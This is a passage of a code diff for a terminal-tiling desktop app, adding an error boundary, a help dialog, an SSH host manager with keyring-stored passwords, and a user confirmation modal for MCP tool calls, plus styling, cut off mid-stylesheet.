componentDidCatch(error: Error, info: { componentStack?: string | null }) {
// Surface to dev tools console — Tauri's WebView2 will show this in
// its inspector. Keeps the diagnostic accessible even if the panel
// refuses to render.
console.error("[ErrorBoundary]", this.props.label ?? "(unlabelled)", error, info);
}
handleReset = () => {
this.setState({ error: null });
};
render() {
if (this.state.error) {
return (
<div
style={{
padding: 14,
margin: 10,
background: "#1a0e0e",
border: "1px solid #6a2a2a",
borderRadius: 4,
color: "#e0a0a0",
font: "12px/1.5 monospace",
}}
role="alert"
>
<div style={{ fontWeight: 600, color: "#ff8080", marginBottom: 6 }}>
{this.props.label ?? "Component"} crashed while rendering
</div>
<pre
style={{
whiteSpace: "pre-wrap",
wordBreak: "break-word",
margin: "6px 0",
color: "#c08080",
fontSize: 11,
}}
>
{this.state.error.message}
</pre>
<button
onClick={this.handleReset}
style={{
marginTop: 6,
font: "inherit",
background: "#2a1a1a",
color: "#e0a0a0",
border: "1px solid #6a2a2a",
borderRadius: 3,
padding: "3px 10px",
cursor: "pointer",
}}
>
Try again
</button>
</div>
);
}
return this.props.children;
}
}

132
src/components/Help.css Normal file
View file

@ -0,0 +1,132 @@
.help {
position: fixed;
top: 8vh;
left: 50%;
transform: translateX(-50%);
width: min(720px, 92vw);
max-height: 84vh;
background: #161616;
color: #ccc;
border: 1px solid #2a2a2a;
border-radius: 8px;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
z-index: 100;
display: flex;
flex-direction: column;
overflow: hidden;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
}
.help-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 10px 14px;
border-bottom: 1px solid #2a2a2a;
flex-shrink: 0;
}
.help-title {
font-weight: 600;
font-size: 13px;
}
.help-close {
background: transparent;
border: none;
color: #888;
font-size: 18px;
line-height: 1;
padding: 2px 8px;
cursor: pointer;
border-radius: 3px;
}
.help-close:hover {
background: #2a2a2a;
color: #ddd;
}
.help-body {
padding: 14px 18px;
overflow-y: auto;
font-size: 12px;
}
.help-body h3 {
margin: 18px 0 6px;
font-size: 13px;
color: #e6e6e6;
font-weight: 600;
}
.help-body h3:first-child {
margin-top: 0;
}
.help-section {
margin-bottom: 10px;
}
.help-section h4 {
margin: 8px 0 4px;
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: #888;
font-weight: 500;
}
.help-shortcuts {
width: 100%;
border-collapse: collapse;
}
.help-shortcuts td {
padding: 3px 4px;
vertical-align: top;
}
.help-shortcuts td.keys {
white-space: nowrap;
width: 260px;
padding-right: 12px;
}
.help-shortcuts td.desc {
color: #aaa;
line-height: 1.4;
}
.help-shortcuts kbd {
font-family: inherit;
font-size: 11px;
background: #222;
color: #cce6ff;
border: 1px solid #2a2a3a;
border-radius: 3px;
padding: 1px 6px;
white-space: nowrap;
}
.help-tips {
list-style: none;
padding: 0;
margin: 4px 0 0;
display: flex;
flex-direction: column;
gap: 6px;
}
.help-tips li {
padding: 7px 10px;
background: #1c1c1c;
border: 1px solid #2a2a2a;
border-radius: 4px;
color: #aaa;
font-size: 11px;
line-height: 1.45;
}
.help-tips strong {
color: #e6e6e6;
font-weight: 600;
}
.help-footer {
margin: 18px 0 0;
padding-top: 10px;
border-top: 1px solid #2a2a2a;
color: #666;
font-size: 11px;
line-height: 1.45;
}

78
src/components/Help.tsx Normal file
View file

@ -0,0 +1,78 @@
import { useEffect } from "react";
import { SHORTCUT_SECTIONS, TIPS } from "../lib/shortcuts";
import "./Help.css";
interface HelpProps {
onClose: () => void;
}
export default function Help({ onClose }: HelpProps) {
useEffect(() => {
function onKey(e: KeyboardEvent) {
if (e.key === "Escape") {
e.preventDefault();
onClose();
}
}
window.addEventListener("keydown", onKey);
return () => window.removeEventListener("keydown", onKey);
}, [onClose]);
return (
<>
<button
className="backdrop"
onClick={onClose}
aria-label="Close help"
></button>
<div className="help" role="dialog" aria-label="tiletopia help">
<header className="help-header">
<span className="help-title">tiletopia help</span>
<button
className="help-close"
onClick={onClose}
aria-label="Close help"
>
×
</button>
</header>
<div className="help-body">
<h3>Keyboard shortcuts</h3>
{SHORTCUT_SECTIONS.map((section) => (
<div key={section.title} className="help-section">
<h4>{section.title}</h4>
<table className="help-shortcuts">
<tbody>
{section.items.map((item) => (
<tr key={item.keys}>
<td className="keys">
<kbd>{item.keys}</kbd>
</td>
<td className="desc">{item.description}</td>
</tr>
))}
</tbody>
</table>
</div>
))}
<h3>Tips</h3>
<ul className="help-tips">
{TIPS.map((tip) => (
<li key={tip.title}>
<strong>{tip.title}.</strong> {tip.body}
</li>
))}
</ul>
<p className="help-footer">
Shortcuts work while a terminal is focused they capture the key
before xterm.js sees it. They don't fire while you're typing into
a label edit or the palette input.
</p>
</div>
</div>
</>
);
}

View file

@ -0,0 +1,278 @@
.host-mgr-overlay {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.6);
z-index: 100;
display: flex;
align-items: center;
justify-content: center;
}
.host-mgr-panel {
background: #161616;
color: #ccc;
border: 1px solid #2a2a2a;
border-radius: 8px;
box-shadow: 0 10px 32px rgba(0, 0, 0, 0.7);
width: min(620px, 96vw);
max-height: 86vh;
display: flex;
flex-direction: column;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
}
.host-mgr-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 10px 14px;
border-bottom: 1px solid #2a2a2a;
}
.host-mgr-title {
font-weight: 600;
font-size: 13px;
}
.host-mgr-close {
background: transparent;
border: none;
color: #888;
font-size: 18px;
line-height: 1;
padding: 2px 8px;
cursor: pointer;
border-radius: 3px;
}
.host-mgr-close:hover {
background: #2a2a2a;
color: #ddd;
}
.host-mgr-body {
overflow-y: auto;
padding: 12px 14px;
flex: 1 1 auto;
min-height: 0;
}
.host-mgr-empty {
color: #666;
font-size: 12px;
margin: 12px 0;
}
.host-mgr-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 6px;
}
.host-row {
background: #1c1c1c;
border: 1px solid #2a2a2a;
border-radius: 6px;
padding: 8px 10px;
}
.host-display {
display: flex;
align-items: center;
justify-content: space-between;
gap: 12px;
}
.host-summary-label {
font-weight: 600;
color: #e6e6e6;
font-size: 12px;
}
.host-summary-detail {
color: #888;
font-size: 11px;
margin-top: 1px;
}
.host-actions {
display: flex;
gap: 6px;
flex-shrink: 0;
}
.host-edit-btn,
.host-connect-btn {
background: #222;
color: #aac;
border: 1px solid #2a2a3a;
border-radius: 3px;
padding: 3px 10px;
font: inherit;
font-size: 11px;
cursor: pointer;
}
.host-edit-btn:hover {
background: #2a2a3a;
color: #cce;
}
.host-connect-btn {
background: #1a2a1a;
color: #80c080;
border-color: #2a4a2a;
}
.host-connect-btn:hover {
background: #2a4a2a;
color: #a0e0a0;
}
.host-form {
display: flex;
flex-direction: column;
gap: 6px;
font-size: 11px;
}
.host-form label {
display: flex;
flex-direction: column;
gap: 2px;
color: #888;
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.05em;
}
.host-form input {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 12px;
background: #0c0c0c;
color: #e6e6e6;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 4px 6px;
outline: none;
text-transform: none;
letter-spacing: normal;
}
.host-form input:focus {
border-color: #3a5a8c;
}
.host-form-row {
display: flex;
gap: 8px;
}
.host-form-row > label {
flex: 1 1 auto;
}
.host-form-port {
flex: 0 0 90px !important;
}
.host-form .required {
color: #d66;
}
.host-form-actions {
display: flex;
gap: 6px;
margin-top: 4px;
}
.host-form-actions button {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
padding: 4px 12px;
border-radius: 3px;
cursor: pointer;
background: #222;
color: #ccc;
border: 1px solid #2a2a2a;
}
.host-form-actions button:hover {
background: #2a2a2a;
}
.host-form-actions button.primary {
background: #1a3a5c;
color: #cce6ff;
border-color: #3a5a8c;
}
.host-form-actions button.primary:hover {
background: #245080;
}
.host-form-actions button.danger {
margin-left: auto;
color: #d88;
border-color: #3a1a1a;
}
.host-form-actions button.danger:hover {
background: #3a1a1a;
color: #fcc;
}
.host-pw-badge {
margin-left: 6px;
font-size: 10px;
vertical-align: middle;
filter: grayscale(0.4);
}
.host-form-pw-label {
display: flex;
align-items: baseline;
justify-content: space-between;
gap: 8px;
width: 100%;
}
.host-form-pw-hint {
text-transform: none;
letter-spacing: normal;
color: #555;
font-size: 9px;
}
.host-form-pw-row {
display: flex;
gap: 4px;
}
.host-form-pw-row input {
flex: 1 1 auto;
}
.host-form-pw-reveal,
.host-form-pw-clear {
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
padding: 2px 8px;
background: #222;
color: #aaa;
border: 1px solid #2a2a2a;
border-radius: 3px;
cursor: pointer;
}
.host-form-pw-reveal:hover,
.host-form-pw-clear:hover {
background: #2a2a2a;
color: #ddd;
}
.host-form-pw-clear {
color: #d88;
border-color: #3a1a1a;
}
.host-form-pw-clear:hover {
background: #3a1a1a;
color: #fcc;
}
.host-add-btn {
margin-top: 10px;
font: inherit;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
font-size: 11px;
background: #1c1c1c;
color: #88c;
border: 1px dashed #3a3a4a;
border-radius: 4px;
padding: 6px 10px;
cursor: pointer;
width: 100%;
text-align: center;
}
.host-add-btn:hover {
background: #222;
color: #aac;
border-color: #4a4a5a;
}

View file

@ -0,0 +1,475 @@
import {
useState,
useCallback,
useEffect,
useRef,
type FormEvent,
} from "react";
import type { SshHost } from "../ipc";
import "./HostManager.css";
function newId(): string {
return (
globalThis.crypto?.randomUUID?.() ??
Math.random().toString(36).slice(2, 12)
);
}
function blankHost(): SshHost {
return { id: newId(), label: "", hostname: "" };
}
/** Per-edit transient state for the password field. The actual password
* text never lives on `SshHost` it stays in this map until the user
* clicks Save, at which point we either send a set/delete to keyring
* via the parent callbacks or do nothing. */
interface PasswordDraft {
/** What the user typed (or "" if untouched). */
input: string;
/** True iff the user clicked "Remove password" — overrides `input`. */
cleared: boolean;
}
interface HostManagerProps {
hosts: SshHost[];
/** Persist the host list (label/hostname/etc — no password). */
onSave: (hosts: SshHost[]) => void;
/** Write a new password to keyring for the given host id. Called only
* on Save, only when the user typed something into the password field. */
onSavePassword: (hostId: string, password: string) => void;
/** Delete the keyring entry for this host id. Called when the user
* clicked "Remove password" before Save. */
onClearPassword: (hostId: string) => void;
/** Open a new pane connected to this host (and close the manager). */
onConnect: (hostId: string) => void;
onClose: () => void;
}
export default function HostManager({
hosts,
onSave,
onSavePassword,
onClearPassword,
onConnect,
onClose,
}: HostManagerProps) {
// Local editable copy. Any save / delete acts on this and pushes the
// whole list back up via onSave.
const [draft, setDraft] = useState<SshHost[]>(() => hosts.map((h) => ({ ...h })));
// Per-row password edits (keyed by host id). Absent = unchanged.
const [pwDrafts, setPwDrafts] = useState<Record<string, PasswordDraft>>({});
// Which row is being edited. null = list view only.
const [editingId, setEditingId] = useState<string | null>(null);
const dialogRef = useRef<HTMLDivElement>(null);
// Escape closes; click outside the panel closes.
useEffect(() => {
const onKey = (e: KeyboardEvent) => {
if (e.key === "Escape") onClose();
};
window.addEventListener("keydown", onKey);
return () => window.removeEventListener("keydown", onKey);
}, [onClose]);
const startEdit = useCallback((id: string) => {
setEditingId(id);
setPwDrafts((cur) => {
if (cur[id]) return cur;
return { ...cur, [id]: { input: "", cleared: false } };
});
}, []);
const cancelEdit = useCallback(() => {
// Revert any unsaved edits to that row from props; drop password drafts.
setDraft((cur) =>
cur
.map((h) => {
if (h.id !== editingId) return h;
const original = hosts.find((o) => o.id === editingId);
return original ?? h;
})
.filter((h) => {
if (h.id !== editingId) return true;
return hosts.some((o) => o.id === editingId);
}),
);
if (editingId) {
setPwDrafts((cur) => {
if (!(editingId in cur)) return cur;
const next = { ...cur };
delete next[editingId];
return next;
});
}
setEditingId(null);
}, [editingId, hosts]);
const onFieldChange = useCallback(
(id: string, field: keyof SshHost, value: string) => {
setDraft((cur) =>
cur.map((h) => {
if (h.id !== id) return h;
if (field === "port") {
if (value.trim() === "") return { ...h, port: undefined };
const n = Number(value);
if (!Number.isFinite(n) || n < 1 || n > 65535) return h;
return { ...h, port: n };
}
if (field === "extraArgs") {
const parts = value
.split(/\s+/)
.map((s) => s.trim())
.filter((s) => s.length > 0);
return { ...h, extraArgs: parts.length > 0 ? parts : undefined };
}
if (value.trim() === "" && field !== "label" && field !== "hostname") {
const next = { ...h };
delete next[field];
return next;
}
return { ...h, [field]: value };
}),
);
},
[],
);
const onPasswordInput = useCallback((id: string, value: string) => {
setPwDrafts((cur) => ({
...cur,
[id]: { input: value, cleared: false },
}));
}, []);
const onPasswordClear = useCallback((id: string) => {
setPwDrafts((cur) => ({
...cur,
[id]: { input: "", cleared: true },
}));
}, []);
const saveRow = useCallback(
(id: string, e: FormEvent) => {
e.preventDefault();
const row = draft.find((h) => h.id === id);
if (!row) return;
if (!row.hostname.trim()) {
// Hostname is the only truly required field. Refuse the save instead
// of silently persisting a useless entry.
return;
}
// Auto-fill label from hostname if the user left it blank.
const cleaned: SshHost = {
...row,
label: row.label.trim() || row.hostname.trim(),
hostname: row.hostname.trim(),
};
// Apply the password edit — if any — BEFORE flipping `hasPassword`
// on the local copy so the row redraws with the right state.
const pw = pwDrafts[id];
let nextHasPassword = row.hasPassword;
if (pw) {
if (pw.cleared) {
onClearPassword(id);
nextHasPassword = false;
} else if (pw.input.length > 0) {
onSavePassword(id, pw.input);
nextHasPassword = true;
}
}
cleaned.hasPassword = nextHasPassword;
const next = draft.map((h) => (h.id === id ? cleaned : h));
setDraft(next);
onSave(next.map(({ hasPassword: _hp, ...rest }) => rest));
// Drop the pw draft so re-edit doesn't carry it over.
setPwDrafts((cur) => {
if (!(id in cur)) return cur;
const nxt = { ...cur };
delete nxt[id];
return nxt;
});
setEditingId(null);
},
[draft, pwDrafts, onSave, onSavePassword, onClearPassword],
);
const removeRow = useCallback(
(id: string) => {
const next = draft.filter((h) => h.id !== id);
setDraft(next);
// Strip hasPassword on persist — the backend recomputes it. (The
// save command sweeps orphan credentials, so the deleted host's
// password is also removed from keyring.)
onSave(next.map(({ hasPassword: _hp, ...rest }) => rest));
if (editingId === id) setEditingId(null);
setPwDrafts((cur) => {
if (!(id in cur)) return cur;
const nxt = { ...cur };
delete nxt[id];
return nxt;
});
},
[draft, editingId, onSave],
);
const addRow = useCallback(() => {
const fresh = blankHost();
setDraft((cur) => [...cur, fresh]);
setEditingId(fresh.id);
setPwDrafts((cur) => ({
...cur,
[fresh.id]: { input: "", cleared: false },
}));
}, []);
return (
<div className="host-mgr-overlay" onClick={onClose}>
<div
className="host-mgr-panel"
ref={dialogRef}
onClick={(e) => e.stopPropagation()}
role="dialog"
aria-modal="true"
aria-label="Manage SSH hosts"
>
<header className="host-mgr-header">
<span className="host-mgr-title">SSH hosts</span>
<button className="host-mgr-close" onClick={onClose} aria-label="Close">
×
</button>
</header>
<div className="host-mgr-body">
{draft.length === 0 ? (
<p className="host-mgr-empty">
No saved hosts. Click <strong>Add host</strong> to create one.
</p>
) : (
<ul className="host-mgr-list">
{draft.map((h) => (
<li key={h.id} className="host-row">
{editingId === h.id ? (
<form className="host-form" onSubmit={(e) => saveRow(h.id, e)}>
<label>
Label
<input
type="text"
value={h.label}
onChange={(e) =>
onFieldChange(h.id, "label", e.target.value)
}
placeholder="prod-web"
autoFocus
/>
</label>
<label>
Hostname <span className="required">*</span>
<input
type="text"
required
value={h.hostname}
onChange={(e) =>
onFieldChange(h.id, "hostname", e.target.value)
}
placeholder="example.com or 10.0.0.5"
/>
</label>
<div className="host-form-row">
<label>
User
<input
type="text"
value={h.user ?? ""}
onChange={(e) =>
onFieldChange(h.id, "user", e.target.value)
}
placeholder="(default)"
/>
</label>
<label className="host-form-port">
Port
<input
type="number"
min={1}
max={65535}
value={h.port ?? ""}
onChange={(e) =>
onFieldChange(h.id, "port", e.target.value)
}
placeholder="22"
/>
</label>
</div>
<label>
Identity file
<input
type="text"
value={h.identityFile ?? ""}
onChange={(e) =>
onFieldChange(h.id, "identityFile", e.target.value)
}
placeholder="(uses ssh-agent / default)"
/>
</label>
<label>
Jump host
<input
type="text"
value={h.jumpHost ?? ""}
onChange={(e) =>
onFieldChange(h.id, "jumpHost", e.target.value)
}
placeholder="user@bastion[:port]"
/>
</label>
<label>
Extra ssh args
<input
type="text"
value={(h.extraArgs ?? []).join(" ")}
onChange={(e) =>
onFieldChange(h.id, "extraArgs", e.target.value)
}
placeholder="-o ServerAliveInterval=30"
/>
</label>
<PasswordField
hostHasPassword={!!h.hasPassword}
draft={pwDrafts[h.id]}
onChange={(v) => onPasswordInput(h.id, v)}
onClear={() => onPasswordClear(h.id)}
/>
<div className="host-form-actions">
<button type="submit" className="primary">
Save
</button>
<button type="button" onClick={cancelEdit}>
Cancel
</button>
<button
type="button"
className="danger"
onClick={() => removeRow(h.id)}
>
Delete
</button>
</div>
</form>
) : (
<div className="host-display">
<div className="host-summary">
<div className="host-summary-label">
{h.label || h.hostname}
{h.hasPassword && (
<span
className="host-pw-badge"
title="Password stored in Windows Credential Manager"
>
🔒
</span>
)}
</div>
<div className="host-summary-detail">
{h.user ? `${h.user}@` : ""}
{h.hostname}
{h.port ? `:${h.port}` : ""}
{h.jumpHost ? ` via ${h.jumpHost}` : ""}
</div>
</div>
<div className="host-actions">
<button
className="host-connect-btn"
onClick={() => onConnect(h.id)}
title={`Open a new pane connected to ${h.label}`}
>
Connect
</button>
<button
className="host-edit-btn"
onClick={() => startEdit(h.id)}
>
Edit
</button>
</div>
</div>
)}
</li>
))}
</ul>
)}
<button className="host-add-btn" onClick={addRow}>
+ Add host
</button>
</div>
</div>
</div>
);
}
function PasswordField({
hostHasPassword,
draft,
onChange,
onClear,
}: {
hostHasPassword: boolean;
draft: PasswordDraft | undefined;
onChange: (value: string) => void;
onClear: () => void;
}) {
const [reveal, setReveal] = useState(false);
const cleared = draft?.cleared ?? false;
const showClearButton = hostHasPassword && !cleared;
const placeholder = cleared
? "(password will be removed on save)"
: hostHasPassword
? "(saved — leave blank to keep, or type new)"
: "password (optional)";
return (
<label>
<span className="host-form-pw-label">
Password
<span
className="host-form-pw-hint"
title="Stored in Windows Credential Manager; auto-typed at the ssh password prompt on connect."
>
stored encrypted; auto-typed at prompt
</span>
</span>
<div className="host-form-pw-row">
<input
type={reveal ? "text" : "password"}
value={draft?.input ?? ""}
onChange={(e) => onChange(e.target.value)}
placeholder={placeholder}
autoComplete="off"
/>
<button
type="button"
className="host-form-pw-reveal"
onClick={() => setReveal((r) => !r)}
title={reveal ? "Hide" : "Show"}
>
{reveal ? "🙈" : "👁"}
</button>
{showClearButton && (
<button
type="button"
className="host-form-pw-clear"
onClick={onClear}
title="Remove the saved password from keyring on next Save"
>
Remove
</button>
)}
</div>
</label>
);
}

View file

@ -0,0 +1,96 @@
import { useEffect } from "react";
export interface McpConfirmSpec {
tool: string;
args: unknown;
reason: string | null;
/** Human-readable summary of what's about to happen, computed by the
* per-tool handler (e.g. "rename pane 'shell' to 'build'"). */
summary: string;
/** Set when the action targets (or spawns) an SSH-connected pane. The
* modal renders an extra warning banner SSH targets bypass our
* in-app safety net since the remote shell expands aliases/subshells
* before executing, and the policy engine only sees the bytes we send. */
ssh?: { hostLabel: string };
}
interface McpConfirmProps {
spec: McpConfirmSpec;
onAccept: () => void;
onReject: () => void;
/** Approve this call AND add the bare tool name to the policy allow list
* so future calls of this tool skip the prompt. */
onAlwaysAllow: () => void | Promise<void>;
}
export default function McpConfirm({ spec, onAccept, onReject, onAlwaysAllow }: McpConfirmProps) {
useEffect(() => {
function onKey(e: KeyboardEvent) {
if (e.key === "Escape") {
e.preventDefault();
onReject();
} else if (e.key === "Enter") {
e.preventDefault();
onAccept();
}
}
window.addEventListener("keydown", onKey);
return () => window.removeEventListener("keydown", onKey);
}, [onAccept, onReject]);
const argsJson = JSON.stringify(spec.args, null, 2);
return (
<>
<button
className="backdrop"
onClick={onReject}
aria-label="Reject MCP action"
/>
<div className="mcp-confirm" role="dialog" aria-label="MCP action confirm">
<header className="mcp-confirm-header">
<span className="mcp-confirm-title">
MCP wants to run <code>{spec.tool}</code>
</span>
</header>
<div className="mcp-confirm-body">
{spec.ssh && (
<div className="mcp-confirm-ssh-warn">
<strong>SSH target extra caveats apply.</strong>{" "}
This runs on the remote host <code>{spec.ssh.hostLabel}</code>.
The pattern matching in your policy only sees the bytes
tiletopia sends; the remote shell expands aliases, subshells,
and variables before executing. The hard-deny list still
applies, but treat this as <em>best-effort</em>, not a sandbox.
</div>
)}
<p className="mcp-confirm-summary">{spec.summary}</p>
{spec.reason && (
<p className="mcp-confirm-reason">
Policy decision: <em>{spec.reason}</em>
</p>
)}
<details className="mcp-confirm-args">
<summary>Raw arguments</summary>
<pre>{argsJson}</pre>
</details>
</div>
<footer className="mcp-confirm-actions">
<button className="mcp-confirm-reject" onClick={onReject}>
Reject (Esc)
</button>
<button
className="mcp-confirm-always"
onClick={() => { void onAlwaysAllow(); }}
title={`Add "${spec.tool}" to the policy allow list — future calls of this tool won't prompt`}
>
Always allow {spec.tool}
</button>
<button className="mcp-confirm-accept" onClick={onAccept} autoFocus>
Approve (Enter)
</button>
</footer>
</div>
</>
);
}

826
src/components/McpPanel.css Normal file
View file

@ -0,0 +1,826 @@
.mcp-panel {
position: fixed;
top: 8vh;
left: 50%;
transform: translateX(-50%);
width: min(680px, 92vw);
max-height: 84vh;
background: #161616;
color: #ccc;
border: 1px solid #2a2a2a;
border-radius: 8px;
box-shadow: 0 20px 60px rgba(0, 0, 0, 0.6);
z-index: 100;
display: flex;
flex-direction: column;
overflow: hidden;
font-family: "Cascadia Mono", "JetBrains Mono", "Consolas", monospace;
}
.mcp-header {
display: flex;
align-items: center;
justify-content: space-between;
padding: 10px 14px;
border-bottom: 1px solid #2a2a2a;
}
.mcp-title { font-weight: 600; font-size: 13px; }
.mcp-close {
background: transparent; border: none; color: #888;
font-size: 18px; line-height: 1; padding: 2px 8px;
cursor: pointer; border-radius: 3px;
}
.mcp-close:hover { background: #2a2a2a; color: #ddd; }
/* ---- Tab bar ------------------------------------------------------------ */
.mcp-tabs {
display: flex;
gap: 0;
border-bottom: 1px solid #2a2a2a;
padding: 0 10px;
}
.mcp-tab {
position: relative;
font: inherit;
font-family: inherit;
font-size: 11px;
font-weight: 500;
letter-spacing: 0.04em;
background: transparent;
color: #777;
border: none;
border-bottom: 2px solid transparent;
padding: 7px 12px 5px;
cursor: pointer;
transition: color 0.1s, border-color 0.1s;
}
.mcp-tab:hover { color: #bbb; }
.mcp-tab--active {
color: #cce6ff;
border-bottom-color: #4488cc;
}
/* Unread dot badge on the Audit tab */
.mcp-tab-badge {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
background: #d8a040;
vertical-align: middle;
margin-left: 5px;
margin-bottom: 1px;
}
/* ---- Body --------------------------------------------------------------- */
.mcp-body {
padding: 14px 18px;
overflow-y: auto;
font-size: 12px;
line-height: 1.45;
scrollbar-width: thin;
scrollbar-color: #2a2a2a transparent;
}
.mcp-body::-webkit-scrollbar { width: 8px; height: 8px; }
.mcp-body::-webkit-scrollbar-track { background: transparent; }
.mcp-body::-webkit-scrollbar-thumb {
background: #2a2a2a;
border-radius: 4px;
border: 1px solid #1a1a1a;
}
.mcp-body::-webkit-scrollbar-thumb:hover { background: #3a3a3a; }
.mcp-body::-webkit-scrollbar-corner { background: transparent; }
.mcp-blurb {
color: #aaa;
margin: 0 0 12px;
}
.mcp-toggle-row {
display: flex;
align-items: center;
gap: 12px;
margin-bottom: 16px;
}
.mcp-toggle {
font: inherit;
font-family: inherit;
font-size: 12px;
font-weight: 600;
padding: 6px 14px;
border-radius: 4px;
cursor: pointer;
background: #222;
color: #999;
border: 1px solid #2a2a2a;
display: inline-flex;
align-items: center;
gap: 8px;
}
.mcp-toggle:hover:not(:disabled) { background: #2a2a2a; color: #ddd; }
.mcp-toggle:disabled { opacity: 0.5; cursor: progress; }
.mcp-toggle.on {
background: #1a3a1a;
color: #80e080;
border-color: #2a6a2a;
}
.mcp-dot {
width: 8px; height: 8px;
border-radius: 50%;
background: #555;
}
.mcp-toggle.on .mcp-dot {
background: #80e080;
box-shadow: 0 0 6px rgba(128, 224, 128, 0.6);
}
.mcp-allow-count {
color: #888;
font-size: 11px;
}
.mcp-allow-warn {
color: #d8a040;
}
.mcp-field {
margin-bottom: 12px;
}
.mcp-field label {
display: block;
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.08em;
color: #777;
margin-bottom: 3px;
}
.mcp-field-row {
display: flex;
gap: 6px;
}
.mcp-field input {
flex: 1 1 auto;
font: inherit;
font-family: inherit;
font-size: 12px;
color: #e6e6e6;
background: #0c0c0c;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 4px 8px;
outline: none;
}
.mcp-field button {
font: inherit;
font-family: inherit;
font-size: 11px;
background: #222;
color: #aac;
border: 1px solid #2a2a3a;
border-radius: 3px;
padding: 0 10px;
cursor: pointer;
}
.mcp-field button:hover {
background: #2a2a3a;
color: #ccd;
}
/* Inline small-print under inputs small, muted, tight line-height. Used by
* the token hint and the .mcpb install hint. */
.mcp-hint {
margin: 4px 0 0;
color: #888;
font-size: 11px;
line-height: 1.4;
}
.mcp-hint code {
background: #0c0c0c;
padding: 1px 4px;
border-radius: 2px;
font-family: inherit;
color: #aac;
}
/* ---- Claude Desktop .mcpb install row ----------------------------------- */
.mcp-mcpb-row {
display: flex;
align-items: flex-start;
gap: 12px;
}
.mcp-mcpb-btn {
font: inherit;
font-family: inherit;
font-size: 11px;
font-weight: 600;
background: #1a2a3a;
color: #cce6ff;
border: 1px solid #2a4a6a;
border-radius: 3px;
padding: 6px 14px;
cursor: pointer;
flex-shrink: 0;
white-space: nowrap;
}
.mcp-mcpb-btn:hover {
background: #2a4a6a;
color: #e0f0ff;
border-color: #4488cc;
}
.mcp-mcpb-hint {
flex: 1 1 auto;
margin: 0;
}
.mcp-snippet {
font: inherit;
font-family: inherit;
font-size: 11px;
background: #0c0c0c;
border: 1px solid #2a2a2a;
border-radius: 3px;
padding: 8px 10px;
margin: 0 0 6px;
color: #cce6ff;
white-space: pre-wrap;
word-break: break-all;
}
.mcp-tips {
background: #1a2030;
border: 1px solid #2a3040;
border-radius: 4px;
padding: 10px 12px;
color: #aac;
font-size: 11px;
margin: 12px 0;
}
.mcp-tips strong { color: #cce6ff; }
.mcp-tips code {
background: #0c0c0c;
padding: 1px 4px;
border-radius: 2px;
font-family: inherit;
}
.mcp-tips pre {
font: inherit;
font-family: inherit;
background: #0c0c0c;
padding: 6px 8px;
border-radius: 3px;
margin: 4px 0;
color: #cce6ff;
}
.mcp-off-hint {
color: #888;
font-size: 11px;
font-style: italic;
margin: 8px 0 12px;
}
.mcp-security {
margin: 12px 0 0;
padding-top: 10px;
border-top: 1px solid #2a2a2a;
color: #888;
font-size: 11px;
line-height: 1.45;
}
.mcp-security strong { color: #d8a040; }
.mcp-security em { color: #d88; font-style: normal; }
/* =========================================================================
Audit tab
========================================================================= */
.audit-tab {
display: flex;
flex-direction: column;
gap: 8px;
}
.audit-toolbar {
display: flex;
align-items: center;
justify-content: flex-end;
gap: 8px;
min-height: 24px;
}
.audit-unread {
font-size: 10px;
color: #d8a040;
margin-right: auto;
}
.audit-clear {
font: inherit;
font-family: inherit;
font-size: 11px;
background: #222;
color: #aac;
border: 1px solid #2a2a3a;
border-radius: 3px;
padding: 2px 10px;
cursor: pointer;
}
.audit-clear:hover:not(:disabled) { background: #2a2a3a; color: #ccd; }
.audit-clear:disabled { opacity: 0.4; cursor: default; }
.audit-empty {
color: #666;
font-style: italic;
font-size: 11px;
margin: 12px 0;
}
.audit-table {
width: 100%;
border-collapse: collapse;
font-size: 11px;
}
.audit-table th {
text-align: left;
font-size: 10px;
text-transform: uppercase;
letter-spacing: 0.07em;
color: #666;
padding: 0 6px 4px;
border-bottom: 1px solid #2a2a2a;
}
.audit-table td {
padding: 2px 6px;
vertical-align: top;
border-bottom: 1px solid #1c1c1c;
}
/* Row tinting */
.audit-row--ok td { background: rgba(80, 200, 80, 0.04); }
.audit-row--denied td { background: rgba(220, 60, 60, 0.06); }
.audit-row--failed td { background: rgba(220, 140, 30, 0.06); }
.audit-cell--time {
font-size: 10px;
color: #666;
white-space: nowrap;
font-family: inherit;
}
.audit-cell--tool {
color: #cce6ff;
white-space: nowrap;
}
.audit-cell--args {
color: #aaa;
max-width: 200px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.audit-cell--result {
white-space: nowrap;
}
.audit-errmsg {
color: #888;
font-size: 10px;
max-width: 150px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
display: inline-block;
vertical-align: middle;
}
.audit-cell--dur {
color: #777;
text-align: right;
white-space: nowrap;
}
/* Result chips */
.audit-chip {
display: inline-block;
font-size: 10px;
font-weight: 600;
padding: 1px 5px;
border-radius: 3px;
vertical-align: middle;
}
.audit-chip--ok { background: #1a3a1a; color: #80e080; border: 1px solid #2a5a2a; }
.audit-chip--denied { background: #3a1a1a; color: #e06060; border: 1px solid #5a2a2a; }
.audit-chip--failed { background: #3a2a10; color: #d8a040; border: 1px solid #5a4a20; }
.audit-chip--denied em { font-style: italic; color: #c04040; margin-left: 3px; }
/* =========================================================================
Policy tab
========================================================================= */
.policy-tab {
display: flex;
flex-direction: column;
gap: 14px;
}
.policy-loading {
color: #777;
font-style: italic;
font-size: 11px;
}
.policy-toolbar {
display: flex;
align-items: flex-start;
gap: 10px;
}
.policy-hint {
flex: 1 1 auto;
